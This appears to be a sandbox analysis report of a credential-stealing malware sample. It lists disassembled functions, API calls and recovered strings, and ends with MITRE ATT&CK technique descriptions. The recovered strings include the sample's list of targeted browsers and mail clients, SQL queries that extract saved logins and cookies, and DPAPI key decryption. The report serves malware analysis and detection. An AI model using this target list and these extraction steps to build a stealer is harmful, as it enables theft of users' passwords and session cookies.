Part of subcall function 0E458848: CoCreateInstance.OLE32 ref: 0E4588B4
Part of subcall function 0E458848: StrStrIW.SHLWAPI ref: 0E458933
Part of subcall function 0E458848: CoTaskMemFree.OLE32 ref: 0E458956
Part of subcall function 0E458848: CoTaskMemFree.OLE32 ref: 0E458965
Part of subcall function 0E458848: RegCloseKey.ADVAPI32 ref: 0E4589A1

Part of subcall function 0E4589E4: LoadLibraryA.KERNEL32 ref: 0E458A1B
Part of subcall function 0E4589E4: GetProcAddress.KERNEL32 ref: 0E458A37
Part of subcall function 0E4589E4: GetProcAddress.KERNEL32 ref: 0E458A4E
Part of subcall function 0E4589E4: GetProcAddress.KERNEL32 ref: 0E458A65
Part of subcall function 0E4589E4: GetProcAddress.KERNEL32 ref: 0E458A7C
Part of subcall function 0E4589E4: GetProcAddress.KERNEL32 ref: 0E458A93
Part of subcall function 0E4589E4: GetProcAddress.KERNEL32 ref: 0E458AB1

Part of subcall function 0E454A90: GetProcessHeap.KERNEL32 ref: 0E454AE0
Part of subcall function 0E454A90: HeapReAlloc.KERNEL32 ref: 0E454AFA

Part of subcall function 0E456F6C: GetProcessHeap.KERNEL32 ref: 0E456F87
Part of subcall function 0E456F6C: HeapFree.KERNEL32 ref: 0E456F95
Part of subcall function 0E456F6C: GetProcessHeap.KERNEL32 ref: 0E456FA0
Part of subcall function 0E456F6C: HeapFree.KERNEL32 ref: 0E456FAE

Part of subcall function 0E4575F8: GetProcessHeap.KERNEL32 ref: 0E45765D
Part of subcall function 0E4575F8: HeapFree.KERNEL32 ref: 0E45766B

Part of subcall function 0E457C00: SHGetFolderPathA.SHELL32 ref: 0E457C3B

Part of subcall function 0E454A90: HeapAlloc.KERNEL32 ref: 0E454B06

Part of subcall function 0E45453C: lstrcpyA.KERNEL32 ref: 0E454564
Part of subcall function 0E45453C: lstrcatA.KERNEL32 ref: 0E454575
Part of subcall function 0E45453C: RegOpenKeyExA.ADVAPI32 ref: 0E454599

wsprintfA.USER32 ref: 0E4553BF

Part of subcall function 0E45453C: RegEnumKeyExA.ADVAPI32 ref: 0E4545E0
Part of subcall function 0E45453C: RegOpenKeyExA.ADVAPI32 ref: 0E454622
Part of subcall function 0E45453C: lstrcpyW.KERNEL32 ref: 0E454650
Part of subcall function 0E45453C: RegQueryValueExW.ADVAPI32 ref: 0E454686
Part of subcall function 0E45453C: RegCloseKey.ADVAPI32 ref: 0E4547A7
Part of subcall function 0E45453C: RegEnumKeyExA.ADVAPI32 ref: 0E4547DF
Part of subcall function 0E45453C: RegCloseKey.ADVAPI32 ref: 0E4547FA

SHGetFolderPathA.SHELL32 ref: 0E4554F3
lstrcatA.KERNEL32 ref: 0E455508

Part of subcall function 0E455ABC: SHGetFolderPathA.SHELL32 ref: 0E455AF7

GetProcessHeap.KERNEL32 ref: 0E455690
HeapAlloc.KERNEL32 ref: 0E4556A2
WideCharToMultiByte.KERNEL32 ref: 0E4556D2
OpenFileMappingA.KERNEL32 ref: 0E4556F3
MapViewOfFile.KERNEL32 ref: 0E455718
UnmapViewOfFile.KERNEL32 ref: 0E455724
CloseHandle.KERNEL32 ref: 0E45572D
wprintf.LEGACY_STDIO_DEFINITIONS ref: 0E45573D
wprintf.LEGACY_STDIO_DEFINITIONS ref: 0E45574C
GetProcessHeap.KERNEL32 ref: 0E455756
HeapFree.KERNEL32 ref: 0E455764
GetProcessHeap.KERNEL32 ref: 0E45576F
HeapFree.KERNEL32 ref: 0E45577D

Strings

cookies.sqlite, xrefs: 0E455527
Mar 29 2024, xrefs: 0E455094
\User Data\Default\Network\Cookies, xrefs: 0E454E2E
Superbird, xrefs: 0E454DE1
1SMTP Email Address, xrefs: 0E454E74
QIP Surf, xrefs: 0E454D63
1SMTP Server, xrefs: 0E454E82
3HTTPMail Password, xrefs: 0E454FFC
3SMTP Password, xrefs: 0E45500A
1POP3 Password2, xrefs: 0E454F8C
edge_cookie, xrefs: 0E455600
Software\Microsoft\Office\%u.0\Outlook\Profiles, xrefs: 0E4553B4
Go!, xrefs: 0E454D2B
3IMAP Password, xrefs: 0E454FE0
cr_pass, xrefs: 0E455193
ie_cookie, xrefs: 0E455590
Kometa, xrefs: 0E454D47
3POP3 Password, xrefs: 0E454FD2
7Star\7Star, xrefs: 0E454D9B
1IMAP Server, xrefs: 0E454EE4
1SMTP Password2, xrefs: 0E454FC4
Vivaldi, xrefs: 0E454D1D
Google\Chrome, xrefs: 0E454C75
1SMTP User, xrefs: 0E454F54
1POP3 User, xrefs: 0E454F1C
Bromium, xrefs: 0E454CD7
Xpom, xrefs: 0E454C91
w~y&, xrefs: 0E454BBF
Safer Technologies\Secure Browser, xrefs: 0E454DC5
2SMTP Port, xrefs: 0E454F70
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles, xrefs: 0E45539B
2IMAP Port, xrefs: 0E454F7E
\Mozilla\Firefox\Profiles\, xrefs: 0E4554FD
1HTTP User, xrefs: 0E454F00
\User Data\Default\Login Data, xrefs: 0E454E12
%s, xrefs: 0E455736
3NNTP Password, xrefs: 0E454FEE
@, xrefs: 0E455701
Rafotech\Mustang, xrefs: 0E454DD3
ff_cookie, xrefs: 0E4554C8
Elements Browser, xrefs: 0E454DA9
uCozMedia\Uran, xrefs: 0E454D55
%s, xrefs: 0E455745
1NNTP Email Address, xrefs: 0E454EBA
1POP3 User Name, xrefs: 0E454E9E
Microsoft\Edge, xrefs: 0E454E3C
Nichrome, xrefs: 0E454CF3
1IMAP Password2, xrefs: 0E454F9A
ie_pass, xrefs: 0E45528D
Torch, xrefs: 0E454DFD
1SMTP User Name, xrefs: 0E454EAC
RockMelt, xrefs: 0E454D01
12345, xrefs: 0E4556E5
1IMAP User, xrefs: 0E454F2A
ff_pass, xrefs: 0E455211
Sputnik\Sputnik, xrefs: 0E454D39
\User Data\Default\Web Data, xrefs: 0E454E20
1NNTP Password2, xrefs: 0E454FA8
build, xrefs: 0E4550DB
00:39:18, xrefs: 0E455057
1POP3 Server, xrefs: 0E454E90
Comodo\Dragon, xrefs: 0E454CAD
Suhba, xrefs: 0E454DB7
Orbitum, xrefs: 0E454CC9
Google\Chrome SxS, xrefs: 0E454C83
outlook_pass, xrefs: 0E455383
1NNTP User Name, xrefs: 0E454EC8
1HTTP Server URL, xrefs: 0E454F0E
Epic Privacy Browser, xrefs: 0E454D71
CentBrowser, xrefs: 0E454D8D
2POP3 Port, xrefs: 0E454F62
Amigo, xrefs: 0E454CBB
Chromium, xrefs: 0E454CE5
1HTTPMail Server, xrefs: 0E454F46
Chedot, xrefs: 0E454DEF
1Email, xrefs: 0E454E66
cr_cookie, xrefs: 0E45544A
360Browser\Browser, xrefs: 0E454D0F
CocCoc\Browser, xrefs: 0E454D7F
1IMAP User Name, xrefs: 0E454EF2
1HTTPMail Password2, xrefs: 0E454FB6
edge_pass, xrefs: 0E455305
1NNTP Server, xrefs: 0E454ED6
Yandex\YandexBrowser, xrefs: 0E454C9F
1HTTPMail User Name, xrefs: 0E454F38

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: Heap$Process$Free$AddressProc$Close$AllocOpen$FileFolderPath$CreateEnumHandleProcess32TaskViewlstrcatlstrcpywprintf$ByteCharCurrentFirstInitializeInstanceLibraryLoadMappingMultiNextQuerySnapshotToolhelp32UnmapValueWidewsprintf
String ID: %s$%s$00:39:18$12345$1Email$1HTTP Server URL$1HTTP User$1HTTPMail Password2$1HTTPMail Server$1HTTPMail User Name$1IMAP Password2$1IMAP Server$1IMAP User$1IMAP User Name$1NNTP Email Address$1NNTP Password2$1NNTP Server$1NNTP User Name$1POP3 Password2$1POP3 Server$1POP3 User$1POP3 User Name$1SMTP Email Address$1SMTP Password2$1SMTP Server$1SMTP User$1SMTP User Name$2IMAP Port$2POP3 Port$2SMTP Port$360Browser\Browser$3HTTPMail Password$3IMAP Password$3NNTP Password$3POP3 Password$3SMTP Password$7Star\7Star$@$Amigo$Bromium$CentBrowser$Chedot$Chromium$CocCoc\Browser$Comodo\Dragon$Elements Browser$Epic Privacy Browser$Go!$Google\Chrome$Google\Chrome SxS$Kometa$Mar 29 2024$Microsoft\Edge$Nichrome$Orbitum$QIP Surf$Rafotech\Mustang$RockMelt$Safer Technologies\Secure Browser$Software\Microsoft\Office\%u.0\Outlook\Profiles$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles$Sputnik\Sputnik$Suhba$Superbird$Torch$Vivaldi$Xpom$Yandex\YandexBrowser$\Mozilla\Firefox\Profiles\$\User Data\Default\Login Data$\User Data\Default\Network\Cookies$\User Data\Default\Web Data$build$cookies.sqlite$cr_cookie$cr_pass$edge_cookie$edge_pass$ff_cookie$ff_pass$ie_cookie$ie_pass$outlook_pass$uCozMedia\Uran$w~y&
API String ID: 3620056986-83399204
Opcode ID: f8cb71ce208a17df0a9b5c5da18c7179ac2a3ecd80bdeebe11308395ec280a4b
Instruction ID: cf5a9100bccec7f9258b73c542008ddf102f16a29e9035da6d25e14daf47e583
Opcode Fuzzy Hash: f8cb71ce208a17df0a9b5c5da18c7179ac2a3ecd80bdeebe11308395ec280a4b
Instruction Fuzzy Hash: 82621776201F8195EA10EF22EC903D933A5F745B89F811D6BDA5E2B725EF78CA48C340

Function 0E454948 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0E454969
Process32First.KERNEL32 ref: 0E45498C
GetCurrentProcessId.KERNEL32 ref: 0E45499A
OpenProcess.KERNEL32 ref: 0E4549C9
StrStrIA.SHLWAPI ref: 0E4549E3
StrStrIA.SHLWAPI ref: 0E454A00
StrStrIA.SHLWAPI ref: 0E454A1E
TerminateProcess.KERNEL32 ref: 0E454A41
CloseHandle.KERNEL32 ref: 0E454A4A
Process32Next.KERNEL32 ref: 0E454A58
CloseHandle.KERNEL32 ref: 0E454A69

Strings

chrome.exe, xrefs: 0E4549D7
iexplore.exe, xrefs: 0E4549F1
msedge.exe, xrefs: 0E454A0E

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: Process$CloseHandleProcess32$CreateCurrentFirstNextOpenSnapshotTerminateToolhelp32
String ID: chrome.exe$iexplore.exe$msedge.exe
API String ID: 477742948-2002101784
Opcode ID: fe7781aa355af09044517de538f76c2667a12ca60234848eb8ea9a4026d88ee0
Instruction ID: e9e07e33d7f90c875e6a71cd1f27f88cc2251d0b6f49ce7a027258d4ec001637
Opcode Fuzzy Hash: fe7781aa355af09044517de538f76c2667a12ca60234848eb8ea9a4026d88ee0
Instruction Fuzzy Hash: A131AC32214B8185EF20CB22E91475A3771FB84B95F594A22CE6E17BA4DF3CCD8AC740

Function 0E455E5C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 109
memoryencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0E456500: CreateFileA.KERNEL32 ref: 0E45653B

StrStrIA.SHLWAPI ref: 0E455E9D
StrChrA.SHLWAPI ref: 0E455EBB
CryptUnprotectData.CRYPT32 ref: 0E455F2E
GetProcessHeap.KERNEL32 ref: 0E455F38
HeapAlloc.KERNEL32 ref: 0E455F4A
GetProcessHeap.KERNEL32 ref: 0E455F6A
HeapAlloc.KERNEL32 ref: 0E455F7C
LocalFree.KERNEL32 ref: 0E455FAF
GetProcessHeap.KERNEL32 ref: 0E455FB5
HeapFree.KERNEL32 ref: 0E455FC4

Strings

"encrypted_key":", xrefs: 0E455E96

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocFree$CreateCryptDataFileLocalUnprotect
String ID: "encrypted_key":"
API String ID: 3383461352-877455259
Opcode ID: 1bff8699f9d97ab45fd99e227eb735527e09be475eebc417901f9c033e89b636
Instruction ID: 5450d8f83d5f968f034b0754b82716181543c4784f686c632928b4b0a46149a5
Opcode Fuzzy Hash: 1bff8699f9d97ab45fd99e227eb735527e09be475eebc417901f9c033e89b636
Instruction Fuzzy Hash: 61419E33711B909AEB108F66E8543AE67B1BB48B98F494427DE0A93B59EF3CD845C300

Function 0E457A88 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0E457708: GetTempPathA.KERNEL32 ref: 0E457727
Part of subcall function 0E457708: lstrcatA.KERNEL32 ref: 0E45773D
Part of subcall function 0E457708: lstrlenA.KERNEL32 ref: 0E457746
Part of subcall function 0E457708: wsprintfA.USER32 ref: 0E45788A
Part of subcall function 0E457708: lstrcatA.KERNEL32 ref: 0E4578A0
Part of subcall function 0E457708: lstrlenA.KERNEL32 ref: 0E4578AD

CopyFileA.KERNEL32 ref: 0E457AC0
GetLastError.KERNEL32 ref: 0E457ACA
GetLastError.KERNEL32 ref: 0E457AD5
GetProcessHeap.KERNEL32 ref: 0E457B31
HeapAlloc.KERNEL32 ref: 0E457B43
GetProcessHeap.KERNEL32 ref: 0E457BA2
HeapFree.KERNEL32 ref: 0E457BB0
GetProcessHeap.KERNEL32 ref: 0E457BB6
HeapFree.KERNEL32 ref: 0E457BC4
DeleteFileA.KERNEL32 ref: 0E457BDD

Strings

SELECT origin_url,username_value,length(password_value),password_value,date_created,date_last_used FROM logins WHERE username_value <> '', xrefs: 0E457B82

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: Heap$Process$ErrorFileFreeLastlstrcatlstrlen$AllocCopyDeletePathTempwsprintf
String ID: SELECT origin_url,username_value,length(password_value),password_value,date_created,date_last_used FROM logins WHERE username_value <> ''
API String ID: 1126038018-4010397166
Opcode ID: 0ff698bb61df7e7270a5b28c3d57b083742cbda33f9715b01bb2336eae2b636a
Instruction ID: 487cf2fe04f21f9a5c8f92ea8bd8f00f588244a731017ab37c68cccba178eaf5
Opcode Fuzzy Hash: 0ff698bb61df7e7270a5b28c3d57b083742cbda33f9715b01bb2336eae2b636a
Instruction Fuzzy Hash: 1541A032615BC096EB20DF22E95879E67A1FB89B84F488437DE4A13B14DF3CD949C700

Function 0E455944 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0E457708: GetTempPathA.KERNEL32 ref: 0E457727
Part of subcall function 0E457708: lstrcatA.KERNEL32 ref: 0E45773D
Part of subcall function 0E457708: lstrlenA.KERNEL32 ref: 0E457746
Part of subcall function 0E457708: wsprintfA.USER32 ref: 0E45788A
Part of subcall function 0E457708: lstrcatA.KERNEL32 ref: 0E4578A0
Part of subcall function 0E457708: lstrlenA.KERNEL32 ref: 0E4578AD

CopyFileA.KERNEL32 ref: 0E45597C
GetLastError.KERNEL32 ref: 0E455986
GetLastError.KERNEL32 ref: 0E455991
GetProcessHeap.KERNEL32 ref: 0E4559ED
HeapAlloc.KERNEL32 ref: 0E4559FF
GetProcessHeap.KERNEL32 ref: 0E455A5E
HeapFree.KERNEL32 ref: 0E455A6C
GetProcessHeap.KERNEL32 ref: 0E455A72
HeapFree.KERNEL32 ref: 0E455A80
DeleteFileA.KERNEL32 ref: 0E455A99

Strings

select name, encrypted_value, length(encrypted_value), host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires from cookies where datetime(expires_utc/1000000 + strftime('%s', '1601-01-01'), 'unixepoch') > datetime('now', 'utc') OR NOT h, xrefs: 0E455A3E

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: Heap$Process$ErrorFileFreeLastlstrcatlstrlen$AllocCopyDeletePathTempwsprintf
String ID: select name, encrypted_value, length(encrypted_value), host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires from cookies where datetime(expires_utc/1000000 + strftime('%s', '1601-01-01'), 'unixepoch') > datetime('now', 'utc') OR NOT h
API String ID: 1126038018-1255454737
Opcode ID: 5b8fdea0edd62199f502c3f0406fe8560df84d62b1db6ed72439dadf72f1d3d3
Instruction ID: 177a1f3131e59ff336e414c41c1a16bc52ca4d8cca454a8c7ab6d20d5c8747c1
Opcode Fuzzy Hash: 5b8fdea0edd62199f502c3f0406fe8560df84d62b1db6ed72439dadf72f1d3d3
Instruction Fuzzy Hash: DE41B136714BC196EB20CF22E9543AE67A2FB89B90F484427DE4917B14DF3CD849CB00

Function 0E4E9958 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 0E4E997B

Part of subcall function 0E4E8EEC: _invalid_parameter_noinfo.LIBCMT ref: 0E4E8F00

_get_daylight.LIBCMT ref: 0E4E998C

Part of subcall function 0E4E8E8C: _invalid_parameter_noinfo.LIBCMT ref: 0E4E8EA0

_get_daylight.LIBCMT ref: 0E4E999D

Part of subcall function 0E4E8EBC: _invalid_parameter_noinfo.LIBCMT ref: 0E4E8ED0

Part of subcall function 0E4E4ED0: HeapFree.KERNEL32 ref: 0E4E4EE6
Part of subcall function 0E4E4ED0: GetLastError.KERNEL32 ref: 0E4E4EF8

GetTimeZoneInformation.KERNEL32 ref: 0E4E99C4
WideCharToMultiByte.KERNEL32 ref: 0E4E9A5A
WideCharToMultiByte.KERNEL32 ref: 0E4E9AA6

Strings

?, xrefs: 0E4E9A99
Eastern Standard Time, xrefs: 0E4E9A2E
Eastern Summer Time, xrefs: 0E4E9A85

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
String ID: ?$Eastern Standard Time$Eastern Summer Time
API String ID: 500310315-688781733
Opcode ID: e7058aed259f57ed55cf1364f6fab453492dfe95792d3d34e5c378728bb1f84b
Instruction ID: 760b40b2ac6bf345eb2bf420496df6fde27c9103670259ae3ead9c41f2fa96b4
Opcode Fuzzy Hash: e7058aed259f57ed55cf1364f6fab453492dfe95792d3d34e5c378728bb1f84b
Instruction Fuzzy Hash: DF51D932610B80CAD715DF26EC8079A77A5FBC8799F880A57EB4957F98EB38C941C740

Function 0E457C00 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32 ref: 0E457C3B
lstrcatA.KERNEL32 ref: 0E457C58
lstrlenA.KERNEL32 ref: 0E457C63
lstrcpyA.KERNEL32 ref: 0E457C83
lstrcpyA.KERNEL32 ref: 0E457C96
lstrcatA.KERNEL32 ref: 0E457CAB
lstrlenA.KERNEL32 ref: 0E457CB6
lstrcpyA.KERNEL32 ref: 0E457CCA

Strings

\User Data\Local State, xrefs: 0E457C9C

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: lstrcpy$lstrcatlstrlen$FolderPath
String ID: \User Data\Local State
API String ID: 2128322890-3114309041
Opcode ID: 9d976f5a1b73ff1638e19ac43d7beb5d9674bb69198375f30be1eb409822978e
Instruction ID: 9040e944883831ffed17ada27e024efc87e255be9b8d18300f819d3642b11d3a
Opcode Fuzzy Hash: 9d976f5a1b73ff1638e19ac43d7beb5d9674bb69198375f30be1eb409822978e
Instruction Fuzzy Hash: 48211732724A8196DF50CF16E894B9A7365FB88F85F855432EA4E93728DF3CD90AC740

Function 0E455ABC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32 ref: 0E455AF7
lstrcatA.KERNEL32 ref: 0E455B14
lstrlenA.KERNEL32 ref: 0E455B1F
lstrcpyA.KERNEL32 ref: 0E455B3F
lstrcpyA.KERNEL32 ref: 0E455B52
lstrcatA.KERNEL32 ref: 0E455B67
lstrlenA.KERNEL32 ref: 0E455B72
lstrcpyA.KERNEL32 ref: 0E455B87

Strings

\User Data\Local State, xrefs: 0E455B58

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: lstrcpy$lstrcatlstrlen$FolderPath
String ID: \User Data\Local State
API String ID: 2128322890-3114309041
Opcode ID: 7a46133316756fc417819ccfd01d3ea184850a32845edf103635da06fe2200fd
Instruction ID: 8ad00a79083416835ffc47665cb1ed659a25013ef5fad815799d3ade653bead5
Opcode Fuzzy Hash: 7a46133316756fc417819ccfd01d3ea184850a32845edf103635da06fe2200fd
Instruction Fuzzy Hash: DC315E32724A8196DF50CF12E894BAA7361F784F85F815422EA4E97728DF3CD90AC740

Function 0E455D94 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 44stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 0E455DB6
SHGetFolderPathA.SHELL32 ref: 0E455E03
lstrcatA.KERNEL32 ref: 0E455E19

Part of subcall function 0E456604: lstrcpyA.KERNEL32 ref: 0E456633
Part of subcall function 0E456604: lstrlenA.KERNEL32 ref: 0E45663E
Part of subcall function 0E456604: lstrcatA.KERNEL32 ref: 0E456662
Part of subcall function 0E456604: lstrcatA.KERNEL32 ref: 0E456674
Part of subcall function 0E456604: FindFirstFileA.KERNEL32 ref: 0E456683
Part of subcall function 0E456604: lstrcpyA.KERNEL32 ref: 0E4566D2
Part of subcall function 0E456604: lstrcatA.KERNEL32 ref: 0E4566E8
Part of subcall function 0E456604: lstrcatA.KERNEL32 ref: 0E4566F7
Part of subcall function 0E456604: lstrcatA.KERNEL32 ref: 0E456709
Part of subcall function 0E456604: FindNextFileA.KERNEL32 ref: 0E45680B
Part of subcall function 0E456604: FindClose.KERNEL32 ref: 0E45681C

Strings

\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe, xrefs: 0E455E0D
.cookie, xrefs: 0E455E40
.txt, xrefs: 0E455DDC

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: lstrcat$Find$FileFolderPathlstrcpy$CloseFirstNextlstrlen
String ID: .cookie$.txt$\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe
API String ID: 4173611902-356491070
Opcode ID: 6579cf1bd4637e43c404cdb8aafef78d2a600bfc4f4f8a7df02b4dce260afe02
Instruction ID: 3431b4ab2ff9399ea195e299580bab0f7fc145b30b66eeec85f99f2e41c35d4b
Opcode Fuzzy Hash: 6579cf1bd4637e43c404cdb8aafef78d2a600bfc4f4f8a7df02b4dce260afe02
Instruction Fuzzy Hash: 25113A73224B85D3EB50DF11F850B9A7365F799305F815527EA8E47A68EB3CD648CB00

Function 0E455CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0E457708: GetTempPathA.KERNEL32 ref: 0E457727
Part of subcall function 0E457708: lstrcatA.KERNEL32 ref: 0E45773D
Part of subcall function 0E457708: lstrlenA.KERNEL32 ref: 0E457746
Part of subcall function 0E457708: wsprintfA.USER32 ref: 0E45788A
Part of subcall function 0E457708: lstrcatA.KERNEL32 ref: 0E4578A0
Part of subcall function 0E457708: lstrlenA.KERNEL32 ref: 0E4578AD

CopyFileA.KERNEL32 ref: 0E455D1B
DeleteFileA.KERNEL32 ref: 0E455D76

Strings

SELECT host, path, isSecure, expiry, name, value, isHttpOnly FROM moz_cookies, xrefs: 0E455D53

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: Filelstrcatlstrlen$CopyDeletePathTempwsprintf
String ID: SELECT host, path, isSecure, expiry, name, value, isHttpOnly FROM moz_cookies
API String ID: 4185374037-3522861938
Opcode ID: 43d74f6a088fc3e418d3fd097b07d923dc96b3aea07d2a847afad3ca13e99e41
Instruction ID: e12e7702701fc2d805821a7a1dde1062fbea3cb4978fbb4dd85394e75f7dcd0d
Opcode Fuzzy Hash: 43d74f6a088fc3e418d3fd097b07d923dc96b3aea07d2a847afad3ca13e99e41
Instruction Fuzzy Hash: 59017C73334A8992DB61DB62F854BAA6360FBCA745F805427EE4957A18DF2DC908CB40

Function 0E4E4ED0 Relevance: 2.5, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 0E4E4EE6
GetLastError.KERNEL32 ref: 0E4E4EF8

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8f9486c2b9ac7041e6348180d4699964ef133c4800ab67ee5ca9e89ed9ba18f9
Instruction ID: 8860562e6391a4d33cd0c50666042360724a30d71621443cd9ed552a3eff877b
Opcode Fuzzy Hash: 8f9486c2b9ac7041e6348180d4699964ef133c4800ab67ee5ca9e89ed9ba18f9
Instruction Fuzzy Hash: 63E01261B1168146EF1CABF3D86837A17E16F85F47F84483AC925AB751EE2C8C454340

Function 0E4E4F10 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 0E4E4F4E

Memory Dump Source

Source File: 00000008.00000002.4555139839.000000000E450000.00000040.00000001.00020000.00000000.sdmp, Offset: 0E450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e450000_explorer.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 558171bcc7c76863372ad7002b378d837f4fc13fab5d06e03d61d6356f178b3d
Instruction ID: 45286eaf795701865ecd9a18c70a56523e2c8f8d9ae32a6df7715b6982f69077
Opcode Fuzzy Hash: 558171bcc7c76863372ad7002b378d837f4fc13fab5d06e03d61d6356f178b3d
Instruction Fuzzy Hash: A1E03961B0664085EE195FA2999037A53905B88FA3F494B2B9D3A87BC0DA6CCC818225

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
